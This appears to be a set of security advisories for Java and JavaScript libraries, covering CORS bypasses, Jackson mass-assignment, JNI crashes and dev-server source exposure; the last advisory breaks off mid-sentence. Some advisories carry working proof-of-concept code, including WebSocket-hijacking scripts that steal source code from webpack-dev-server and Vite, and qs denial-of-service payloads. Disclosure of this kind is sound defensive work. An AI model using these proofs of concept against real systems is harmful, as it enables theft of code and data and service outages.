Netty is a network application framework for development of protocol servers and clients. Versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, are vulnerable to security control bypass during the origin evaluation process. CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.1, JNI-backed XXHash implementations fail to validate the byte array object and the off and len arguments in XXHashFactory.nativeInstance().hash32().hash(), XXHashFactory.nativeInstance().hash64().hash(), XXHashFactory.nativeInstance().newStreamingHash32().update(), and XXHashFactory.nativeInstance().newStreamingHash64().update(), allowing null arrays or oversized ranges to reach native code, read outside the Java array, and fatally terminate the JVM. This issue is fixed in version 1.11.1.
webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses.
Those using FasterXML/woodstox to seralize XML data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. This vulnerability is only relevant for users making use of the DTD parsing functionality.
## Summary For Java Records, `POJOPropertiesCollector._removeUnwantedIgnorals()` records a `@JsonIgnore`-annotated component under its original implicit name before `_renameUsing()` applies the `PropertyNamingStrategy`. After the rename, `_ignoredPropertyNames` still holds only the pre-rename name, so `_ignorableProps` is built from the stale key. The renamed JSON key passes `IgnorePropertiesUtil.shouldIgnore()` and is assigned to the Record's constructor parameter, defeating the `@JsonIgnore`. ## Impact A Record using a naming strategy that relies on `@JsonIgnore` to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client). ## Affected / Patched (verified via `git tag --contains`) - 2.15-2.18 line: `>= 2.15.0, < 2.18.8` -> fixed in **2.18.8** (backport `c7c6783`) - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** (#5974, `baa2cdf`) ## Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
## Summary `UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** — the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view. **Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object's own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**. ## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6) An `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` → `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method. ## Impact — write-side mass-assignment / privilege escalation `@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended. ## Affected - `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true. - `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false → the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.) ## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard) - nested `@JsonUnwrapped` (unwrapped-in-unwrapped) — recursive bypass. - merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly. - builder-based deserializer (`@JsonDeserialize(builder=...)`) — `BuilderBasedDeserializer` routes through the same `processUnwrapped`. - Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug. ## Fix Add `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.
### Summary Netty's CorsHandler provides a `shortCircuit()` configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an `Origin: null` header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. ### Details In `io.netty.handler.codec.http.cors.CorsHandler#channelRead`, the short-circuit logic relies on the configuration returned by `getForOrigin(origin)` to determine if an origin is authorized. If `getForOrigin` returns a configuration object, the short-circuit check `(!(origin == null || config != null))` is bypassed, and the request proceeds to the backend. The vulnerability is located in the `getForOrigin` method: ```java if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) { return corsConfig; } ``` If an attacker sends `Origin: null`, `NULL_ORIGIN.equals(requestOrigin)` evaluates to true. The method returns the configuration object regardless of whether `isNullOriginAllowed()` was configured by the developer. The short-circuit is bypassed. ### Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
### Summary Netty's `CorsHandler` silently overwrites existing `Vary` headers, enabling cache poisoning and sensitive information disclosure. ### Details `io.netty.handler.codec.http.cors.CorsHandler#setVaryHeader` overwrites any existing Vary headers set by backend applications. ```java private static void setVaryHeader(final HttpResponse response) { response.headers().set(HttpHeaderNames.VARY, HttpHeaderNames.ORIGIN); } ``` Because `set()` replaces all existing values for the header, if a backend application sets a `Vary` header (such as `Vary: Authorization` or `Vary: Cookie`) to ensure that intermediate caches (like CDNs) cache responses separately per user, the `CorsHandler` will overwrite it with `Vary: origin`. This causes the caching proxy to ignore the authorization context and cache the response based solely on the URL and Origin, allowing an attacker to retrieve another user's cached sensitive data. ### Impact This is a Cache Poisoning vulnerability that leads to Information Disclosure. It impacts any Netty-based web application that uses the CorsHandler, sets its own Vary headers to manage caching of authenticated or user-specific responses (e.g., Vary: Authorization), and is deployed behind a caching proxy or CDN. The end-users of these applications are impacted, as their sensitive data may be leaked to unauthorized actors.
### Summary Source code may be stolen when you access a malicious web site with non-Chromium based browser. ### Details The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code. related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine. This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94). ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main` with a non-Chromium browser (I used Firefox 134.0.1) 5. Edit `src/index.js` in the extracted directory 6. You can see the content of `src/index.js`  The script in the POC site is: ```js window.webpackHotUpdate = (...args) => { console.log(...args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } } let params = new URLSearchParams(window.location.search); let target = new URL(params.get('target') || 'http://127.0.0.1:8080'); let file = params.get('file') let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss'; let wsPort = target.port; var currentHash = ''; var currentHash2 = ''; let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match('"type":"ok"')) { s = document.createElement('script'); s.src = `${target}${file}.${currentHash2}.hot-update.js`; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } } ``` ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
### Impact A brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. The loop in question: https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184 `test()` is one of https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113 The increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation. This affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes. ### Patches Upgrade to versions - 5.0.5+ A step increment of 0 is now sanitized to 1, which matches bash behavior. ### Workarounds Sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
### Summary Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections. > [!WARNING] > This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network. ### Upgrade Path Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration. - Using the backend integration feature - Using a reverse proxy in front of Vite - Accessing the development server via a domain other than `localhost` or `*.localhost` - Using a plugin / framework that connects to the WebSocket server on their own from the browser #### Using the backend integration feature If you are using the backend integration feature and not setting [`server.origin`](https://vite.dev/config/server-options.html#server-origin), you need to add the origin of the backend server to the [`server.cors.origin`](https://github.com/expressjs/cors#configuration-options) option. Make sure to set a specific origin rather than `*`, otherwise any origin can access your development server. #### Using a reverse proxy in front of Vite If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than `localhost` or `*.localhost`, you need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if the reverse proxy is sending requests to `http://vite:5173`, you need to add `vite` to the `server.allowedHosts` option. #### Accessing the development server via a domain other than `localhost` or `*.localhost` You need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if you are accessing the development server via `http://foo.example.com:8080`, you need to add `foo.example.com` to the `server.allowedHosts` option. #### Using a plugin / framework that connects to the WebSocket server on their own from the browser If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser. In that case, you can either: - fix the plugin / framework code to the make it compatible with the new version of Vite - set `legacy.skipWebSocketTokenCheck: true` to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite - When enabling this option, **make sure that you are aware of the security implications** described in the impact section of [2] above. ### Mitigation without upgrading Vite #### [1]: Permissive default CORS settings Set `server.cors` to `false` or limit `server.cors.origin` to trusted origins. #### [2]: Lack of validation on the Origin header for WebSocket connections There aren't any mitigations for this. #### [3]: Lack of validation on the Host header for HTTP requests Use Chrome 94+ or use HTTPS for the development server. ### Details There are three causes that allowed malicious websites to send any requests to the development server: #### [1]: Permissive default CORS settings Vite sets the [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header depending on [`server.cors`](https://vite.dev/config/server-options.html#server-cors) option. The default value was `true` which sets `Access-Control-Allow-Origin: *`. This allows websites on any origin to `fetch` contents served on the development server. Attack scenario: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 2. The user accesses the malicious web page. 3. The attacker sends a `fetch('http://127.0.0.1:5173/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 4. The attacker gets the content of `http://127.0.0.1:5173/main.js`. #### [2]: Lack of validation on the Origin header for WebSocket connections Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server [did not perform validation on the Origin header](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/src/node/server/ws.ts#L145-L157) and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection ([list of the file paths that changed, the file content where the errored happened, etc.](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/types/hmrPayload.d.ts#L12-L72)), but plugins can send arbitrary messages and may include more sensitive information. Attack scenario: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 2. The user accesses the malicious web page. 3. The attacker runs `new WebSocket('http://127.0.0.1:5173', 'vite-hmr')` by JS in that malicious web page. 4. The user edits some files. 5. Vite sends some HMR messages over WebSocket. 6. The attacker gets the content of the HMR messages. #### [3]: Lack of validation on the Host header for HTTP requests Unless [`server.https`](https://vite.dev/config/server-options.html#server-https) is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy. 1. The attacker serves a malicious web page that is served on **HTTP** (`http://malicious.example.com:5173`) (HTTPS won't work). 2. The user accesses the malicious web page. 3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses). 4. The attacker sends a `fetch('/main.js')` request by JS in that malicious web page. 5. The attacker gets the content of `http://127.0.0.1:5173/main.js` bypassing the same origin policy. ### Impact #### [1]: Permissive default CORS settings Users with the default `server.cors` option may: - get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities. #### [2]: Lack of validation on the Origin header for WebSocket connections All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites. For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites. For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites. #### [3]: Lack of validation on the Host header for HTTP requests Users using HTTP for the development server and using a browser that is not Chrome 94+ may: - get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities. Chrome 94+ users are not affected for [3], because [sending a request to a private network page from public non-HTTPS page is forbidden](https://developer.chrome.com/blog/private-network-access-update#chrome_94) since Chrome 94. ### Related Information Safari has [a bug that blocks requests to loopback addresses from HTTPS origins](https://bugs.webkit.org/show_bug.cgi?id=171934). This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work. ### PoC #### [2]: Lack of validation on the Origin header for WebSocket connections 1. I used the `react` template which utilizes HMR functionality. ``` npm create vite@latest my-vue-app-react -- --template react ``` 2. Then on a malicious server, serve the following POC html: ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html> ``` 3. Kick off Vite ``` npm run dev ``` 4. Load the development server (open `http://localhost:5173/`) as well as the malicious page in the browser. 5. Edit `src/App.jsx` file and intentionally place a syntax error 6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed Here's a video demonstrating the POC: https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961
### Summary Insufficient validation of byte array arguments in JNI-based XXHash implementations in lz4-java 1.11.0 and earlier allows callers to crash the JVM by passing an invalid array reference or invalid range to native XXHash methods. This affects applications where an attacker can influence the byte array object or the `off` / `len` arguments passed to affected XXHash APIs. It does **not** affect the common case where only the contents of a valid byte array are attacker-controlled. Java-based XXHash implementations are *not* affected. ### Details The JNI-backed XXHash implementations pass caller-provided byte array arguments to native code. The affected APIs are: - `XXHashFactory.nativeInstance().hash32().hash(byte[] buf, int off, int len, int seed)` - `XXHashFactory.nativeInstance().hash64().hash(byte[] buf, int off, int len, long seed)` - `XXHashFactory.nativeInstance().newStreamingHash32(seed).update(byte[] bytes, int off, int len)` - `XXHashFactory.nativeInstance().newStreamingHash64(seed).update(byte[] bytes, int off, int len)` Before the fix, the streaming JNI implementations did not validate `bytes`, `off`, or `len` before calling `XXHashJNI.XXH32_update` / `XXHashJNI.XXH64_update`. The non-streaming JNI implementations called `SafeUtils.checkRange`, but `SafeUtils.checkRange(byte[], int, int)` skipped all array access when `len == 0`, so a null byte array with a zero length could still reach JNI. As a result: - `hash(null, 0, 0, seed)` and `update(null, 0, 0)` could pass a null array reference to JNI, causing a fatal JVM crash in `GetPrimitiveArrayCritical`. - `update(new byte[16], 0, Integer.MAX_VALUE)` could cause native XXHash code to read far beyond the end of the Java array, causing a fatal JVM crash and potentially exposing in-process memory to the native routine before the crash. The oversized-length non-streaming `hash(new byte[16], 0, Integer.MAX_VALUE, seed)` case was already rejected in Java before this fix. The missing validation affected the streaming oversized-length case and the zero-length null-array case for both streaming and non-streaming JNI XXHash APIs. The impact of this vulnerability depends on how user code uses the XXHash API. Code that hashes attacker-controlled byte contents in a valid, correctly bounded array is not affected. Code may be affected if an attacker can cause the application to pass a null array, an attacker-controlled offset, or an attacker-controlled length to the native XXHash API. The primary impact is denial of service due to JVM termination. For oversized lengths, native code may also read outside the Java array before the process crashes. ### Mitigation lz4-java 1.11.1 fixes this issue without requiring changes in user code. If you cannot upgrade, avoid passing attacker-controlled array references, offsets, or lengths to JNI-backed XXHash APIs. In particular, validate that arrays are non-null and that `off` and `len` describe a range fully contained in the array before calling native XXHash methods. Using `XXHashFactory.safeInstance()` avoids the JNI boundary and is not affected by this native crash behavior.
Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1. Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Integer Overflow vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. This issue has been patched in version 1.3.2.
### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion.
Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.
websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.7.5, if this library is used with the permessage-deflate extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size because the limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression in lib/websocket/driver/hybi.js. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage. This issue is fixed in version 0.7.5.
Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules), Legion of the Bouncy Castle Inc. BCPKIX-FIPS bcpkix on All (pkix modules), Legion of the Bouncy Castle Inc. BCPIX-LTS bcpkix on All (pkix modules). This vulnerability is associated with program files JcaContentVerifierProviderBuilder.Java, JcaContentVerfierProviderBuilder.Java. This issue affects BC-JAVA: from 1.67 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84; BCPKIX-FIPS: from 2.0.6 before 2.0.11, from 2.1.7 before 2.1.11; BCPIX-LTS: from 2.73.7 before 2.73.11.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, ab attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
### Summary `qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: "x" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`. ### Details `lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call. Such an object can be built from untrusted input. `qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly. #### PoC ```js var qs = require("qs"); qs.stringify(qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })); qs.stringify(JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")); // TypeError: obj.constructor.isBuffer is not a function // at Object.isBuffer (lib/utils.js:332:78) // at stringify (lib/stringify.js:127:45) ``` #### Fix `lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0: ```diff - return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); + return !!(obj.constructor && typeof obj.constructor.isBuffer === "function" && obj.constructor.isBuffer(obj)); ``` Real `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed. ### Affected versions `>=2.2.5 <6.16.0`, fixed in v6.16.0. The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling 